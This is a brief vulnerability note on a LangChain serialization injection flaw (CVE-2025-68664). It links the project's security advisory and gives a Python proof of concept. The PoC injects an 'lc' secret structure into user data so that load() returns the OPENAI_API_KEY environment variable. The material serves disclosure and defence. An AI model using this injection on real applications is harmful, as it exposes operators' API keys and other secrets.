漏洞描述
LangChain 序列化注入漏洞(CVE-2025-68664)
https://github.com/langchain-ai/langchain/security/advisories/GHSA-c67j-w6g6-q2cm
from langchain_core.load import dumps, load
import os
# Attacker injects secret structure into user-controlled data
attacker_dict = {
"user_data": {
"lc": 1,
"type": "secret",
"id": ["OPENAI_API_KEY"]
}
}
serialized = dumps(attacker_dict) # Bug: does NOT escape the 'lc' key
os.environ["OPENAI_API_KEY"] = "sk-secret-key-12345"
deserialized = load(serialized, secrets_from_env=True)
print(deserialized["user_data"]) # "sk-secret-key-12345" - SECRET LEAKED!